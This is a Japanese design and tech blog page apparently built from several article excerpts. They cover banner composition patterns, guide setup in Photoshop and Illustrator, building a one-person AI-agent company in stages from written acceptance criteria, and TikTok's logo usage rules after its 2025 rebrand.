まず用意すべきは自分が受注・運用でよく使うサイズ。SNS広告の正方形（1080×1080）、OGP（1200×630）、ディスプレイ広告のレクタングル（300×250）あたりが定番 テンプレには三分割ガイドだけ入れておき、案件に応じて対角線やファイ・グリッドを足すのが運用しやすい形です。全構図のガイドを1ファイルに詰め込むと、線が多すぎて逆に迷います。 操作早見表：構図×ツール別の最短ルート ここまでの手順を、構図別・ツール別の逆引き表にまとめます。制作中に「あの操作どこだっけ」となったらこの表に戻ってください。 やりたいことPhotoshopIllustrator三分割グリッド表示→新規ガイドレイアウトを作成（列3×行3）グリッドに分割（3×3）→ガイドを作成（command＋5）ファイ・グリッド（黄金比分割）表示→新規ガイドで38.2%・61.8%を指定座標入力で線を置き→command＋5黄金螺旋切り抜きツールのオーバーレイ「ゴールデンスパイラル」分割スクエアを描いて→command＋5対角線ラインシェイプで代用（標準ガイドは斜め不可）斜めの直線→command＋5シンメトリーの中心軸表示→新規ガイドで垂直方向50%中央に垂直線→command＋5写真を構図に沿ってトリミング切り抜きツール＋オーバーレイ（Oキーで切替）Photoshop側での処理を推奨ガイドの固定表示→ガイドをロック表示→ガイド→ガイドをロック ショートカットの表記はMac基準です。WindowsはcommandをCtrlに読み替えてください。 よくあるつまずきと対処法 ガイド運用で質問の多いつまずきを3つまとめます。いずれも表示メニュー周りの設定で解決します。 ガイドが制作中にずれる・動いてしまう ガイドを引いたら必ずロックします。Photoshopは「表示」→「ガイドをロック」、Illustratorは「表示」→「ガイド」→「ガイドをロック」。ロックを習慣にするだけで、ドラッグ中にガイドをつかんでしまう事故が消えます。 ガイドが見えない・消えた 多くの場合、削除ではなく非表示になっているだけです。command＋;（WindowsはCtrl＋;）で表示を切り替えられます。それでも出ないときは、ガイドの色が背景色と同化していないかを環境設定（ガイド・グリッド）で確認してください。 要素がガイドにスナップしない Photoshopは「表示」→「スナップ」がオンか、さらに「スナップ先」→「ガイド」にチェックが入っているかを確認します。Illustratorはスマートガイド（command＋U）をオンにすると、ガイドやオブジェクトへの吸着が効くようになります。 構図ガイドに関するFAQ Q. ガイドは書き出した画像に写りますか？ 写りません。ガイドは編集用の補助表示で、書き出し・保存した画像には含まれません。ただしPhotoshopでラインシェイプをガイド代わりにした場合はただのレイヤーなので、書き出し前に必ず非表示にしてください。 Q. Photoshopで斜めのガイドは引けますか？ 標準ガイドは水平・垂直のみで斜めには引けません。対角線構図の補助線はラインシェイプのレイヤーで代用するか、トリミング段階なら切り抜きツールのオーバーレイ「対角」を使います。 Q. Illustratorで斜めや円形のガイドは作れますか？ 作れます。 ### [バナーデザインの構図パターン｜三分割・対角線・日の丸で視線を操る基礎](https://codequest.work/banner-design-composition/) バナーデザインの構図とは、伝えたい情報の優先順位に沿って視線の流れを設計し、要素を配置する「型」のことです。写真の世界で体系化されてきた写真構図（三分割法・日の丸構図・対角線構図など）は、バナーやアイキャッチ制作にそのまま転用できます。 「配色もフォントも悪くないはずなのに、なぜか素人っぽく見える」。バナー制作のこの悩みの多くは、色でも書体でもなく配置——つまり構図で説明がつきます。要素をどこに置くかが決まらないまま作り始めると、視線の行き先が定まらず、伝えたい順番で情報が届きません。 この記事では、写真の定番として整理されている9つの写真構図をバナーデザイン向けに翻訳し、赤線の図解つきで解説します。読み終わる頃には、参考バナーを見て「どの構図で組まれているか」を言語化でき、自分のデザインにも根拠を持って要素を配置できるようになります。 バナーデザインに「写真構図」が効く理由 写真とバナーは「限られたフレームの中で、一瞬で主役を伝える」という点でまったく同じ課題を抱えています。写真構図は、その課題に対して先人が長い年月をかけて体系化してきた答えです。日の丸・三分割・対角線など、写真の定番構図は9つに整理できます。本記事では、この9つをバナーデザインの言葉に翻訳して解説します。つまり構図はセンスではなく、学べば誰でも再現できる「型」です。 デザイン学習では配色やフォントから入る人が多いですが、視線の設計はそれより手前にある土台です。構図を学ぶと、次の3つが一度に手に入ります。 要素の置き場所に根拠を持てる（「なんとなく中央」がなくなる） 参考デザインを構図で分解できるため、模写や引き出しの吸収が速くなる 写真素材の選び方・トリミングまで、一貫した基準で判断できる 構図は近接・整列といったデザイン原則と矛盾するものではありません。原則が「要素同士の関係の整え方」だとすれば、構図は「画面全体の視線の設計図」です。デザイン原則をまだ整理できていない場合は、UI/UXデザインの質を上げる6つの基本原則と合わせて読むと理解が深まります。 前提知識：視線誘導のZ型・F型 個別の構図に入る前に、人の視線がどう動くかを押さえます。視線誘導とは、人の目が画面上を移動する既定のパターンを利用して、情報を見せる順番をコントロールする技術です。バナーの構図はすべて、この視線の動きを前提に組み立てます。 Z型：左上→右上→左下→右下へ視線が流れる Z型は「左上→右上→左下→右下」とアルファベットのZを描く動きで、ビジュアル主体のレイアウトを眺めるときに現れやすいパターンです。静止画のバナー・ポスターはZ型を前提に設計するのが基本で、「左上にロゴや主役、右下にCTAボタン」という定石はこの動きから来ています。 F型：上の行ほど長く読まれ、下に行くほど左端しか見られない F型はテキスト主体のページで現れる動きで、ユーザビリティ研究機関Nielsen Norman Groupのアイトラッキング調査（2006年）で報告されました（出典：F-Shaped Pattern For Reading Web Content）。上の行ほどよく読まれ、下に行くほど左端しか見られなくなります。テキスト量の多い縦長バナーや記事型LPはF型を意識して組みます。 ビジュアル主体の横長バナー → Z型で設計する テキスト主体・縦長のバナーやLP → F型で設計する どちらの場合も「視線の終点にCTA」を置くのが原則 三分割法：迷ったらこれ 三分割法：分割線の4つの交点が要素の置き場所 三分割法とは、画面を縦横それぞれ3等分し、分割線と4つの交点に主要な要素を配置する構図です。1797年に画家ジョン・トーマス・スミスが著書『Remarks on Rural Scenery』で提唱したとされる、最も歴史のある構図のひとつで、写真・絵画・デザインを問わず使われ続けています。 主役を画面中央ではなく交点にずらすと、空いた側に余白が生まれ、画面にリズムと情報の置き場所ができます。バナーでは「主役ビジュアルを片側の交点、コピーを反対側の空間」という役割分担が基本形です。 商品写真を右側の交点に置き、左側の空間にキャッチコピーを組む 人物写真は顔（特に目線）を上側の交点に合わせる CTAボタンは下側の分割線に沿わせると、Z型の視線の終点に自然に入る 「迷ったら三分割法」が実務の答えです。FigmaでもPhotoshopでも、ガイドを3等分に引くだけで再現でき、適用できないレイアウトがほとんどないほど汎用性があります。 日の丸構図：1メッセージを最速で届ける 日の丸構図：中央に主役を1つだけ置く 日の丸構図とは、画面の中央に主役を1つ置く構図です。国旗の日の丸のように視線が迷う余地がなく、伝えることが1つしかないバナーでは最速で最強の選択肢になります。「50%OFF」のセール告知や、1商品だけを押し出すキャンペーンバナーが典型例です。 弱点は単調に見えやすいことです。写真の世界で「日の丸構図は初心者っぽい」と言われるのは、中央に置いただけで工夫が止まるためで、中央配置そのものが悪いわけではありません。次の工夫で単調さは回避できます。 主役の周囲に余白をたっぷり取り、中央への圧を作る 背景と主役の明度差・彩度差を強くして浮き上がらせる 円形の座布団（背景シェイプ）や集中線で中央を補強する 対角線構図：動きとスピード感を作る 対角線構図：斜めの流れに要素を載せる 対角線構図とは、画面の対角線上に要素を並べて動きと奥行きを作る構図です。水平・垂直だけで組んだレイアウトに比べ、斜めの流れは躍動感やスピード感を生みます。タイムセールの斜め帯、商品を斜めに傾けた配置、人物の動きのある写真などと相性抜群です。 注意点は可読性です。読ませたい文字まで斜めにすると一気に読みにくくなります。動きは写真・シェイプ・背景で作り、キャッチコピーや価格などの文字情報は水平に保つのが実務のバランスです。 シンメトリー構図：信頼感とフォーマルさ シンメトリー構図：中心軸に対して左右対称に置く シンメトリー構図とは、中心軸に対して左右（または上下）対称に要素を配置する構図です。対称性は人の目に安定感・信頼感・フォーマルさの記号として働くため、士業・金融・ブライダルなど信頼を訴求したい業種のバナーに好相性です。 もうひとつの得意分野が比較です。ビフォーアフター、プランAとプランB、旧製品と新製品——2つを並べて見せるバナーは、中心軸を境にしたシンメトリー構図がそのまま設計図になります。対称を少しだけ崩して片側を強調すると、比較しつつ推したい側へ視線を誘導できます。 三角構図：要素が多いバナーを整理する 三角構図：底辺で安定、頂点で視線を集約 三角構図とは、要素を三角形の頂点に沿って配置し、底辺の広がりで安定感を、頂点で視線の集約を作る構図です。山や建物の写真で使われる型ですが、バナーでは「載せたい要素が3つ以上ある」ときの整理術として真価を発揮します。 商品3点、特典3つ、ステップ3段階——これらをただ横並びにすると平坦になりますが、三角形に組めば「頂点＝いちばん伝えたいもの」「底辺＝支える情報」という優先順位が視覚化されます。逆三角形にすれば視線が下の頂点へ落ちるため、CTAへ視線を送りたいときにも使えます。 点構図：余白で高級感を作る 点構図：広い余白の中に主役を小さく置く 点構図とは、広い余白の中に主役を小さく置く構図です。写真では風景のスケール感を出す型ですが、バナーでは「余白の高級感」を作る型として機能します。ハイブランドの広告が余白だらけなのは偶然ではなく、余白そのものが「詰め込まなくていい余裕」の記号として働くからです。 ミニマル・上質・洗練を打ち出したいブランディングバナーや、ロゴと一言だけのティザーバナーに向きます。主役が小さいぶん置く位置がすべてなので、三分割の交点に合わせると画面が締まります。 トンネル構図：視野を絞って1点に集める トンネル構図：囲みで視野を絞り、中央へ視線を押し込む トンネル構図とは、周囲を囲む要素で視野を絞り、中央の主役へ視線を押し込む構図です。写真では木々や窓枠で被写体を囲みますが、バナーではフレーム装飾・周辺減光（ビネット）・円形の切り抜きがその役割を担います。 視線の逃げ場をなくすため、誘導力は全構図の中でもトップクラスです。クーポンコードや限定オファーなど「絶対に見てほしい1点」があるときに使います。ただし囲みを太くしすぎると窮屈になるので、フレームは控えめに、中央の余白は十分に確保するのがコツです。 放射線構図：勢いと注目を演出する 放射線構図：1点から放射状に伸びる線で視線を集める 放射線構図とは、1点から放射状に伸びる線で視線をその点へ集める構図です。マンガの集中線と同じ原理で、勢い・爆発力・注目の演出に直結します。 「本日最終日」「ポイント10倍」のような勢いで押すセールバナーの定番です。背景に集中線素材や放射状のグラデーションを敷くだけで再現でき、日の丸構図と組み合わせて「中央の主役＋放射背景」にすると効果が倍増します。多用すると安っぽくなるため、押すべき場面に絞って使います。 曲線構図：柔らかさと自然な流れを作る 曲線構図：S字の流れに沿って視線を運ぶ 曲線構図とは、S字やC字の曲線に沿って要素を配置し、柔らかさと自然な流れを作る構図です。直線で組んだレイアウトに比べて、優しい・有機的な印象を与えます。 コスメ・オーガニック食品・リラクゼーションなど、柔らかさが価値になる商材と好相性です。曲線は写真の中の道や川だけでなく、あしらいの曲線シェイプや商品を並べる軌跡でも作れます。視線が曲線を辿った先の終点にCTAを置くと、流れがそのまま導線になります。 黄金比・白銀比は「比率の構図」として使う 黄金比（1:1.618）や白銀比（1:1.414）は、線の引き方ではなく、画面や要素の縦横比・分割比に使う「比率の構図」です。三分割法の分割位置を黄金比に寄せたファイ・グリッドという派生もあり、ロゴやレイアウトの縦横比を決める場面で役立ちます。 比率ごとの性格や具体的な使い方は黄金比・白銀比・白金比の使い方｜バナーやロゴに応用できるデザイン理論で詳しく解説しています。本記事ではまず「基本は三分割法、こだわりたい箇所だけ比率を検討する」という優先順位だけ覚えておけば十分です。 目的別・構図の選び方（早見表） ここまでの構図を「バナーで何を達成したいか」から逆引きできるよう整理しました。制作前にこの表で型を決めてから手を動かすと、迷いが大きく減ります。 バナーの目的おすすめ構図ねらい1つの商品・メッセージを強く押す日の丸構図視線を中央の主役に集中させる主役ビジュアルとコピーを両立させる三分割法主役と情報の置き場所を分けるセール・キャンペーンの勢いを出す対角線構図斜めの流れで躍動感を作る信頼感・フォーマルさを演出するシンメトリー構図対称の安定感を利用する2案を比較して見せるシンメトリー構図中心軸を境に並列で見せる要素が3つ以上あって整理したい三角構図優先順位を三角形で視覚化する余白で高級感を出す点構図小さな主役と広い余白の対比絶対に見てほしい1点があるトンネル構図囲みで視野を絞る勢い・お祭り感で押す放射線構図集中線の誘導効果柔らかく自然に流したい曲線構図S字の動きで印象を和らげるテキスト主体で読ませるF型設計読み進む導線に沿わせる なお、この表は1枚のバナーを対象にした選び方です。Webページ全体の段組みやカラム設計に踏み込む場合は、グリッドレイアウト完全ガイドの考え方と組み合わせてください。 よくある失敗と直し方 構図を知った直後に陥りやすいつまずきを3つ挙げます。いずれも「構図は骨組みであって、置けば終わりではない」ことが原因です。 ### [「AI組織」は組織図から作ると失敗する｜1人会社をAI会社化する正しい順序](https://codequest.work/ai-organization-build-order/) AI組織（AI会社化）とは、Claude Codeのサブエージェントに代表されるAIエージェントを「部門」や「役職」に見立て、1人の事業を複数のAIで分業運営する手法です。結論を先に言うと、AI組織は組織図から作ると失敗しやすく、自分で回して「合格基準」を言語化できた業務から順に委譲するのが正しい順序です。 2026年に入り、「AI社員を配置して1人会社を作る」という発信が急増しています。ところが話題の事例をよく見ると、成果を数字で語れているのはごく一部で、多くは「組織を作れた」こと自体がゴールになっています。この差はどこで生まれるのでしょうか。 本記事では、話題の事例を「組織先行型」と「経験先行型」の2タイプに仕分けて分析し、Microsoftの大規模調査・サブエージェント運用の失敗研究・筆者自身の実運用例をもとに、1人会社をAI組織化する正しい順序と委譲の判断基準を解説します。 結論：AI組織は「組織図」からではなく「運用経験」から作る AI組織化の成否を分けるのは、エージェントの数でも組織図の精巧さでもありません。「委譲する業務の合格基準を、人間が自分の言葉で書けるか」です。合格基準を言語化できていない業務をAIに任せると、それらしく見える40点の成果物と本当に使える80点の成果物を区別できず、40点をそのまま出荷することになります。 順序組織先行型経験先行型最初の一手組織図・部門を設計する事業を1人で回す次の一手エージェントを配置する業務の手順と合格基準を言語化するその次任せる仕事を探す基準が書けた業務だけ委譲する組織図の位置づけ入力（最初に作るもの）出力（結果としてできるもの） つまり組織図は「入力」ではなく「出力」です。この一点を押さえるだけで、いま流行しているAI組織ブームのどこを真似すべきで、どこを真似してはいけないかが判別できるようになります。以下で根拠を順に見ていきます。 「1人会社×AI組織」ブームの現在地 2026年現在、Claude Codeのサブエージェント機能を使って「秘書」「マーケティング」「経理」「開発」といった部署をAIで構築する手法が広く共有されています。Microsoftが2026年5月に公開した年次レポート「Work Trend Index」によると、業務で稼働するAIエージェント数は前年比15倍（大企業では18倍）に増えており、「人間＋エージェント」を前提にした働き方は例外ではなく標準になりつつあります（出典：Microsoft WorkLab「2026 Work Trend Index」）。 日本語圏でも「AI社員」「1人会社」をキーワードにした実践記事が量産され、月数万円のAIツール費用で複数人分の業務量をカバーしたという報告も出てきました。なお、サブエージェント機能そのものの仕組みや設計方法は本記事では扱わないので、そちらから知りたい方はClaude Codeのルール・エージェント設計術を先に読んでください。本記事が扱うのは「作り方」ではなく「作る順序」です。 話題の事例は2タイプに分かれる — 組織先行型と経験先行型 ブームの中身を観察すると、同じ「AI組織を作った」という発信でも、出発点がまったく違う2つのタイプに分かれます。  組織先行型経験先行型出発点「AI組織を作りたい」という動機既に回している事業・業務最初の一手AIに組織図・部門を生成させる1業務だけAI化する（秘書・定型作業）成果の語られ方「複数視点の意見が集まる」など体験談中心削減時間・処理件数など数字中心報告される課題AIの物忘れ（文脈断絶）、指示の空回り基準の更新コスト、レビュー負荷 組織先行型の典型は、AIに「やりたいことに必要な組織を定義して」と指示し、マーケティング部・経理部・法務部といったフォルダ構造とエージェントを自動生成させるパターンです。この方式の実録記事では、複数部門の視点を集められる利点とともに、決定事項が次の対話に引き継がれない「AIの物忘れ」（文脈断絶）が主要な課題として率直に報告されています。 一方の経験先行型は、既存事業の運営者が自分の業務からAI化するパターンです。たとえば学習支援サービスを長く運営してきたGENAI社は「最初は秘書室だけ。毎日のToDo登録から」という段階導入を推奨し、その積み上げの結果として月160時間以上の削減を主張しています（出典：GENAI「Claude Codeで会社経営を自動化する方法」）。興味深いのは、「AI社員で1人会社を作ろう」という発信自体は組織先行の顔をしていても、成果を数字で示している当事者の実践はほぼ例外なく経験先行だという点です。 組織先行型がつまずく3つの理由 組織図から入るアプローチが行き詰まるのは偶然ではなく、構造的な理由があります。代表的な3つを挙げます。 理由1：成果物を評価できない 最大の理由がこれです。自分でやったことのない業務は、AIの成果物が80点なのか40点なのか判定できません。生成AIは「80点らしく見える40点」を量産できるため、評価能力を持たないまま委譲すると、それらしい不良品をそのまま出荷する装置ができあがります。ボトルネックはAIの実行能力ではなく、人間側の評価能力です。 理由2：文脈断絶と過剰設計が先に来る サブエージェントは呼び出しごとに文脈が分断されるため、分割すればするほど「決めたことが伝わっていない」事故が増えます。技術情報メディアのCodeGridは、サブエージェント運用の代表的な落とし穴として「トークンコスト爆発・無限ループ・文脈断絶・過剰設計・オブザーバビリティ欠如」の5つを挙げ、対策の鉄則を「まずシンプルに作って、ボトルネックが見えてから分割する」とまとめています（出典：CodeGrid「サブエージェントの落とし穴」）。組織図から入るアプローチは、この鉄則の真逆——ボトルネックが見える前に分割する——を最初にやってしまうことになります。 理由3：組織を作ること自体が目的化する 人間の会社にたとえるなら、売上がゼロの段階で管理部門を整備するのと同型の失敗です。AI組織図はほぼコストゼロで作れてしまうため、「作れた」という達成感だけが先に来ます。部門やエージェントの数は増えているのに、事業のアウトプットが増えていなければ、それは組織ではなく組織の形をした置き物です。 経験先行型が機能する理由 — 「合格基準の言語化」がすべて AIに委譲できる業務とは、「定型的で、合格基準を明文化でき、失敗しても巻き戻せる」業務です。そしてこの3条件を満たすかどうかは、実際にその業務を回した人にしか判定できません。 経験先行型が強いのは、業務を自分で回す過程で「どこが定型なのか」「どうなれば合格なのか」「何が取り返しのつかない失敗なのか」が自然に言語化されていくからです。AI委譲とは業務の移転ではなく、判断基準の移転です。基準が言葉になっていれば、AIはその基準に沿って動き、人間は基準との差分だけをレビューすればよくなります。基準がなければ、毎回ゼロから成果物全体を疑うことになり、委譲したはずの時間がレビューで消えます。 裏付けデータ — Microsoft Work Trend Index 2026の4段階論 経験先行の優位は個人の感想ではなく、大規模調査でも裏付けられています。Microsoftの「2026 Work Trend Index」は、AI活用で測定可能な成果を出している組織を「Frontier Firm（最前線企業）」と呼び、その割合は調査対象の19%にとどまると報告しています。さらに、AI活用の成果を説明する要因のうち組織要因は67%で、個人要因（32%）の2倍以上とされています（出典：Microsoft WorkLab）。 重要なのは、このレポートが推奨する導入手順です。組織再編から入るのではなく、「人間が既に行っているワークフローを起点に、意図と成果の単位で仕事を再設計せよ」と明言しています。さらにAI活用の成熟を次の4段階で整理しています。 質問（Asking）：調べ物や壁打ちに使う探索的な利用 探索（Exploration）：より深い実験・試行錯誤 協働（Collaboration）：人間が主導し、AIが実行を支援する 委譲（Delegation）：AIが主導し、人間が監督する 委譲は最終段階であり、最初の一手ではありません。「AI社員に丸ごと任せる」というブームの語り口では委譲が入口のように見えますが、大規模調査が描く実像は逆の順序です。 委譲のタイミングは「極めてから」ではなく「合格基準が書けたら」 ここまでの話を「全役割を自分で極めてからでないとAI化してはいけない」と受け取ると、それは半分だけ正しい理解です。人間の採用と違い、AI委譲には見逃せない2つの非対称性があります。 試すコストがほぼゼロ：採用・教育・雇用契約のコストがなく、その場で試せる 失敗しても即座に巻き戻せる：委譲をやめれば元の1人運用に戻るだけで、痛みが残らない だから閾値は「極める」よりずっと手前に置けます。AI委譲の最適なタイミングは、その業務を極めた時点ではなく、成果物の合格基準を自分の言葉で書けるようになった時点です。目安は同じ業務を自分で数回こなした頃。「極めてから」では遅すぎて機会損失になり、「やる前から」では評価できずに事故ります。中間の「基準が書けたら」が、コストと安全性のバランスが取れた正解です。 実践：1人会社をAI組織化する5ステップ ここまでの原則を、実際の手順に落とすと次の5ステップになります。 事業・プロダクトを1人で回す：全役割を一度は自分で経験する。この段階でAI組織は作らない（チャット相手としてのAI活用は自由） 繰り返し発生する業務を洗い出し、手順と合格基準をMarkdownに書く：書けない業務は、まだ委譲できない業務 最も「定型×評価可能×可逆」な1業務だけ委譲する：タスク管理、書式チェック、定型リサーチなどが最初の候補 成果物をレビューし、不合格の原因を基準ファイルに追記する：基準が育つほどAIの打率が上がる ボトルネックが見えた業務から順に分割・追加する：この積み重ねの結果として、組織図ができあがる ステップ2の「合格基準ファイル」は、たとえば次のような粒度で十分です。 # 記事リサーチ担当の合格基準 ## 必須 - 数値・統計には一次ソースのURLと発行日を添える - 発行から2年以上前のデータは「古い」と明記して代替を探す - 出典が見つからない主張は「未確認」ラベルを付けて残す ## 不合格の典型（過去の失敗から追記） - まとめサイトを一次ソースとして引用していた - 海外の統計を日本市場の話として書いていた 注目してほしいのは「不合格の典型」の欄です。この欄は運用しないと書けません。つまり良い基準ファイルの存在自体が、経験が先にあったことの証明になります。委譲した業務が定常運転に入ったら、繰り返し実行の自動化も検討できます。実行の仕組み側はClaude Codeのスキル・ループ・ワークフローの使い分けで整理しています。 どの業務から委譲するか — 定型性×評価可能性×可逆性マトリクス 委譲の優先順位は、業務を3つの軸で採点すると機械的に決められます。定型性（手順が毎回同じか）、評価可能性（合格基準を明文化できるか）、可逆性（失敗しても巻き戻せるか）の3軸です。 業務例定型性評価可能性可逆性委譲適性書式チェック・リント高高高◎ 最初に委譲する定型リサーチ・数値の裏取り中高高○ 基準を書いてから委譲記事・コードのドラフト作成中中高○ 人間レビュー前提で委譲顧客への返信・コンテンツの公開判断低中低△ 最終判断は人間に残す事業戦略・価格決定低低低× 委譲しない この表で見落とされがちなのは、3軸の採点そのものが「やったことがあるか」に依存する点です。自分で回したことのない業務は、定型かどうかすら正確には分かりません。 ### [TikTokロゴの使用ルール｜TikTok Shop普及のいま再確認しましょう](https://codequest.work/tiktok-logo-guideline/) TikTokのロゴ・アイコンの使用は、原則として「事前の書面許可制」です。許可なしで使えるのは「follow us on TikTok」のような文字表記だけ——これが他の主要SNSとの最大の違いです。 さらに2025年、TikTokはブランドを刷新しました。ロゴは精緻化され、新しいブランドカラーと専用書体が導入され、ガイドラインの置き場所そのものが「TikTok Brand Hub」という新サイトに移転しています。日本語の解説記事の多くは、この移転前の情報のままです。 この記事では、移転後のBrand Hubと法務ページを直接確認し、確認できた事実だけを、確認できなかったことと明確に分けて整理します。Webサイトにアイコンを置きたい制作者と、TikTok Shopで販促物を作りたいセラーの両方に関わる内容です。 結論｜ロゴは「原則書面許可制」、文字表記だけは許可不要 まず大前提です。TikTok Brand Hubの法務ページ（Legal）は、ブランドの使用について次のように定めています。 You may not use the TikTok logos, icons, symbols, or designs without prior written permission.（＝TikTokのロゴ・アイコン・シンボル・デザインは、事前の書面による許可なしに使用してはならない。訳は筆者による） TikTok「Brand Hub - Legal」 一方で、例外もはっきり書かれています。「TikTok」という語（ワードマーク）を、プラットフォームやサービスを指し示すために使うことは、明示的な許可なしで可能です。公式が挙げる例は「uploaded on TikTok」「follow us on TikTok」。つまりテキストでの言及やテキストリンクは許可不要、ロゴ画像は原則許可制という線引きです。 使い方扱い「TikTokはこちら」等のテキスト表記・テキストリンク許可不要（公正な使用が条件）ロゴ・Noteアイコンの掲載原則、事前の書面許可が必要商品・ノベルティ・アパレル等への印刷禁止と明文化 この「原則書面許可制」は、Webサイトへの設置を含む広い範囲を申請不要としているInstagramなどと比べて、明確に厳しい建て付けです。同じ感覚でフッターにアイコンを並べる前に、この違いを知っておく必要があります。SNS各社のスタンスの違いはSNSロゴをホームページに掲載する前に必ず確認すべきことで横断的に整理しています。 TikTokロゴは2025年に変わった｜ガイドラインはBrand Hubへ移転 2025年、TikTokはブランドアイデンティティを刷新し、ブランドガイドラインの公式サイトを TikTok Brand Hub に一本化しました。旧サイト（tiktokbrandbook.com）にアクセスすると、301リダイレクトで新サイトに転送されます。 公式自身が、ロゴが変わったことを明言しています。Brand Hubのトップページには「私たちの愛されてきたNoteとワードマークは、明瞭さ・可読性・一貫性のために繊細に精緻化された」という趣旨の説明があり、ロゴの形状が調整されたことが分かります。 旧URLを載せている解説記事に注意 2026年7月時点で、日本語の解説記事が案内しているURLの多くは移転前のものです。実際にアクセスして確認した結果は次のとおりです。 よく案内されているURL現在の状態tiktokbrandbook.comtiktokbrandhub.com へ301リダイレクトtiktok.com/about/brand-and-use-guidelines404（ページ自体が消滅）developers.tiktok.com のデザインガイドライン存続しているが開発者向けの要約のみ。詳細はBrand Hubへ誘導 現行の正しい入口は TikTok Brand Hub の1か所です。ロゴの規定は「Visual Identity → Logo」、法的条件は「Resources → Legal」にあります。ここを起点にしてください。 何が変わったか｜ロゴ精緻化・Spark・新カラー・TikTok Sans 2025年のリブランドで導入・変更された要素を整理します。デザイナーが押さえておくべきは次の4点です。 ロゴの精緻化｜Note（音符アイコン）とワードマークが、可読性と一貫性のために微調整されました。全体の見た目は踏襲されているため気づきにくい変更です。 ブランドシェイプ「Spark」｜ロゴのくぼみと曲線から生まれた新しいブランド図形。フレームや装飾として公式クリエイティブに使われます。 新カラーパレット｜Glint（#2DCCD3）、Blaze（#F1204A）、Thrive（#033624）、Glow（#FBEB35）など計8色が公開されています。 専用書体「TikTok Sans」｜ブランド専用のカスタム書体が導入されました。 実務上の注意はひとつです。リブランド前に保存したロゴデータ（旧brandbook時代の配布物）を使い回さないこと。ロゴ自体が精緻化されている以上、手元の古いSVGやPNGは現行の公式アセットと一致しません。最新のロゴパックをBrand Hubから取得し直すのが確実です。 「ダウンロードできる＝使っていい」ではない ここがTikTokの分かりにくいところです。Brand HubではTikTok Logo Pack（PNG / ベクター / SVG）がログイン不要で誰でもダウンロードできます。共同ブランディング用のロックアップテンプレート（.ai）まで配布されています。 しかし前述のとおり、法務ページはロゴの使用そのものに事前の書面許可を求めています。つまり「配布」と「使用許諾」は別物です。ロゴパックが自由に落とせることは、自由に使ってよいことを意味しません。 法務ページには、許可を得た場合の条件も書かれています。 If you have received our prior written authorization to use the TikTok logo, you must comply with our logo usage guidelines.（＝TikTokロゴの使用について事前の書面による承認を受けている場合は、当社のロゴ使用ガイドラインに従わなければならない。訳は筆者による） TikTok「Brand Hub - Legal」 整理すると構造はこうです。①ロゴを使うにはまず書面許可が前提。②許可を得たら、後述するデザイン上のルール（形態・色・最小サイズ・禁止事項）を守る義務が生じる。ロゴパックの配布は、この②のための正規データ提供という位置づけで理解するのが正確です。 書面許可が不要な範囲／必要な範囲 法務ページの記述を用途別に落とし込むと、次のようになります。 用途書面許可根拠「follow us on TikTok」等の文字表記不要ワードマークの例外規定本文中で「TikTok」とサービス名に言及する不要同上（公正な使用が条件）Webサイトにロゴ・アイコン画像を置く原則必要ロゴは書面許可制広告・販促クリエイティブにロゴを使う必要＋主要素化は禁止ロゴは書面許可制／Don'ts商品・ノベルティ・アパレルへの印刷禁止と明文化Don'ts 実務でよくある「フッターにSNSアイコンを並べて自社アカウントへリンクする」使い方について、TikTokの公式ページには『この用途なら許可不要』と明示した記述が見当たりません。InstagramやFacebookが「Webサイト設置は申請不要」と読める明文を置いているのとは対照的です。厳密に運用するなら、テキストリンクに置き換えるか、TikTokに問い合わせて許可を得るのが安全側の判断になります。 なお、許可申請の専用フォームは確認できませんでした。この点は後述の「断定できないこと」にまとめています。 ロゴは3形態｜Primary・Note・Secondaryの使い分け Brand Hubのロゴページでは、ロゴが3つの形態に整理されています。許可を得て使う場合、どれを選ぶかにもルールがあります。 形態構成用途Primary LogoNote＋ワードマークの横並び第一選択。ほとんどの用途はこれThe Note音符アイコン単体アイコン単体で使う場面（限定的）Secondary LogoNote＋ワードマークの縦積み横幅が確保できない場合のみ、控えめに さらに各形態に「カラー版」と「簡易版（Simplified）」の白黒バリエーションがあり、背景によって使い分けが指定されています。ここが実装時に一番間違えやすいポイントです。 カラー版（水色と赤のオフセットが入った通常ロゴ）は、白か黒の背景の上でしか使えません。写真の上や色付き背景の上では使用禁止です。 写真や色付き背景の上では簡易版（単色の白または黒）を使います。明るい背景には黒、暗い背景には白です。 色付きのNoteは公式のブランドパターン内でのみ使われるもので、第三者が任意の色でNoteを塗ることはできません。 禁止事項と数値ルール Brand Hubのロゴページに明記されている数値ルールとDon'ts（禁止事項）です。数値はデジタルと印刷で分かれています。 項目デジタル印刷Primary Logo 最小幅110px15mmNote（アイコン単体）最小幅30px4mmクリアスペースNoteのサイズを基準に確保（Note単体は35%サイズのNoteが基準） Don'tsは形態ごとに20項目前後が図解付きで列挙されています。共通する禁止事項を要約すると次のとおりです。 色の変更・入れ替え禁止｜ロゴ内の色を変える、パレット外の色に塗り替える、グラデーションを加えることはすべて不可 変形禁止｜引き伸ばし・圧縮・回転・傾け・切り抜き（トリミング）は不可 加工禁止｜エフェクト・3D化・アウトライン化・ロゴへの画像マスクは不可 構成の変更禁止｜Noteとワードマークの距離を変えることも不可 要するに「公式アセットを、指定サイズ以上で、そのまま置く」以外の選択肢がありません。サイトのトーンに合わせて色を調整したくなっても、用意されているのは公式の簡易版（白・黒）だけです。この点は単色化が明示的に許可されているInstagramと正反対なので、同じフッターにアイコンを並べる際は特に注意してください。 「TikTok」の表記ルール｜スペースを入れない・動詞にしない 唯一許可なしで使える「文字表記」にも、書き方のルールがあります。法務ページのスタイルガイドラインから整理します。 「Tik Tok」とスペースを入れない｜TikとTokの間にスペースはありません。 Tは2つとも大文字、他は小文字｜「Tiktok」「tiktok」「TIKTOK」はいずれも正式表記ではありません。 改変・略記・翻訳・非ラテン文字化の禁止｜「ティックトック」というカタカナ表記は、厳密にはこのルールに反します。 名詞・動詞として使わない｜公式の例では「I made a TikTok」ではなく「I made a video on the TikTok App」。日本語なら「TikTokを撮った」ではなく「TikTokに動画を投稿した」が正確な形です。 ボタンラベルやバナーコピーを書く場面では、「TikTokで見る」「Follow us on TikTok」のように、正式表記＋サービスへの言及という形に収めるのが安全です。 TikTok Shopセラーの注意点｜販促物・商品にロゴは使えない 2025年6月に日本でTikTok Shopが始まり、TikTok公式の発表によると提供開始から半年で登録セラーは5万店、参加クリエイターは20万人を超えました（出典：TikTok Newsroom）。 ### [Facebookロゴの使用ルール｜「いいね！」ボタンはもう設置できません](https://codequest.work/facebook-logo-guideline/) 